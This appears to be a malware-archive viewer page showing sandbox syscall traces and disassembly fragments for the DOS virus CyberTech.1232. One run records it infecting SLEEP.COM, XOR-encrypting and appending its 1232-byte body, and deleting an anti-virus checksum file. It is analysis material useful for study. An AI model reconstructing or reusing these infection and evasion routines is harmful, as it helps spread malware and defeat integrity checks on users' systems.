Sample viewer

vx.netlux.org/Virus.DOS.CyberTech.Strain.1232

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:52:12.235100776Z 48 PC: 12a99 | Get DOS version
2018-12-17T22:52:12.23632902Z 42 PC: 12aa4 | Get date 0x12aa4: cmp cx, 0x7ca
0x12aa8: jae 0x12aad
0x12aaa: jmp 0x12b5a
0x12aad: mov ah, 0x1a
0x12aaf: mov dx, 0xfd00
0x12ab2: int 0x21
0x12ab4: mov ax, word ptr cs:[0x2c]
0x12ab8: mov ds, ax
0x12aba: mov si, 0
0x12abd: mov cx, 0x4000
0x12ac0: lodsb al, byte ptr [si]
0x12ac1: cmp al, 1
0x12ac3: je 0x12ac7
0x12ac5: loop 0x12ac0
0x12ac7: inc si
0x12ac8: push cs
0x12ac9: pop es
0x12aca: mov di, 0xfd80
0x12acd: mov cx, 0x80
0x12ad0: lodsb al, byte ptr [si]
2018-12-17T22:52:12.239794696Z 26 PC: 12ab4 | Set disk transfer address
2018-12-17T22:52:12.242127247Z 67 PC: 12b02 | Get or set file attributes
2018-12-17T22:52:12.245110667Z 26 PC: 12d06 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10810,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:18.924311751Z 48 PC: 12a99 | Get DOS version
2018-12-25T12:29:18.926053123Z 42 PC: 12aa4 | Get date 0x12aa4: cmp cx, 0x7ca
0x12aa8: jae 0x12aad
0x12aaa: jmp 0x12b5a
0x12aad: mov ah, 0x1a
0x12aaf: mov dx, 0xfd00
0x12ab2: int 0x21
0x12ab4: mov ax, word ptr cs:[0x2c]
0x12ab8: mov ds, ax
0x12aba: mov si, 0
0x12abd: mov cx, 0x4000
0x12ac0: lodsb al, byte ptr [si]
0x12ac1: cmp al, 1
0x12ac3: je 0x12ac7
0x12ac5: loop 0x12ac0
0x12ac7: inc si
0x12ac8: push cs
0x12ac9: pop es
0x12aca: mov di, 0xfd80
0x12acd: mov cx, 0x80
0x12ad0: lodsb al, byte ptr [si]
2018-12-25T12:29:18.928204203Z 26 PC: 12b61 | Set disk transfer address
2018-12-25T12:29:18.929362687Z 78 PC: 12b6b | Find first file
2018-12-25T12:29:18.935883536Z 67 PC: 12b78 | Get or set file attributes
2018-12-25T12:29:18.941996442Z 67 PC: 12b80 | Get or set file attributes
2018-12-25T12:29:19.022292668Z 61 PC: 12b85 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:29:19.029342775Z 87 PC: 12b8b | Get or set file date and time
2018-12-25T12:29:19.031018424Z 63 PC: 12b98 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:29:19.037042332Z 66 PC: 12bbe | Move file pointer
2018-12-25T12:29:19.038555537Z 66 PC: 12c5d | Move file pointer
2018-12-25T12:29:19.040229384Z 63 PC: 12c67 | Read file or device (Read 52 bytes on handle 5)
2018-12-25T12:29:19.042444744Z 66 PC: 12bbe | Move file pointer (See above)
2018-12-25T12:29:19.04371977Z 44 PC: 12cb4 | Get time 0x12cb4: cmp dl, 0
0x12cb7: jne 0x12cc3
0x12cb9: mov ah, 9
0x12cbb: lea dx, word ptr [bp + 0x473]
0x12cbf: int 0x21
0x12cc1: jmp 0x12cb0
0x12cc3: mov byte ptr cs:[bp + 0x18], dl
0x12cc8: lea si, word ptr [bp + 4]
0x12ccc: mov di, 0xfb00
0x12ccf: mov cx, 0x18
0x12cd2: rep movsb byte ptr es:[di], byte ptr [si]
0x12cd4: lea si, word ptr [bp + 0x1c]
0x12cd8: mov cx, 0x4b8
0x12cdb: lodsb al, byte ptr [si]
0x12cdc: xor al, dl
0x12cde: stosb byte ptr es:[di], al
0x12cdf: loop 0x12cdb
0x12ce1: mov ah, 0x40
0x12ce3: mov dx, 0xfb00
0x12ce6: mov cx, 0x4d0
2018-12-25T12:29:19.046456698Z 64 PC: 12ceb | Write file or device (Write 1232 bytes on handle 5)
2018-12-25T12:29:19.055044151Z 66 PC: 12bbe | Move file pointer (See above)
2018-12-25T12:29:19.056439862Z 64 PC: 12cfc | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:29:19.063558332Z 87 PC: 12d2c | Get or set file date and time
2018-12-25T12:29:19.065581875Z 62 PC: 12d30 | Close file
2018-12-25T12:29:19.073264543Z 67 PC: 12d39 | Get or set file attributes
2018-12-25T12:29:19.078653275Z 65 PC: 12d41 | Delete file (Filename = 'chklist.cps')
2018-12-25T12:29:19.084315065Z 26 PC: 12d06 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1995,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10810,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:19.256845984Z 48 PC: 12a99 | Get DOS version
2018-12-25T12:29:19.259377408Z 42 PC: 12aa4 | Get date 0x12aa4: cmp cx, 0x7ca
0x12aa8: jae 0x12aad
0x12aaa: jmp 0x12b5a
0x12aad: mov ah, 0x1a
0x12aaf: mov dx, 0xfd00
0x12ab2: int 0x21
0x12ab4: mov ax, word ptr cs:[0x2c]
0x12ab8: mov ds, ax
0x12aba: mov si, 0
0x12abd: mov cx, 0x4000
0x12ac0: lodsb al, byte ptr [si]
0x12ac1: cmp al, 1
0x12ac3: je 0x12ac7
0x12ac5: loop 0x12ac0
0x12ac7: inc si
0x12ac8: push cs
0x12ac9: pop es
0x12aca: mov di, 0xfd80
0x12acd: mov cx, 0x80
0x12ad0: lodsb al, byte ptr [si]
2018-12-25T12:29:19.261931203Z 26 PC: 12ab4 | Set disk transfer address
2018-12-25T12:29:19.263105326Z 67 PC: 12b02 | Get or set file attributes
2018-12-25T12:29:19.26482065Z 26 PC: 12d06 | Set disk transfer address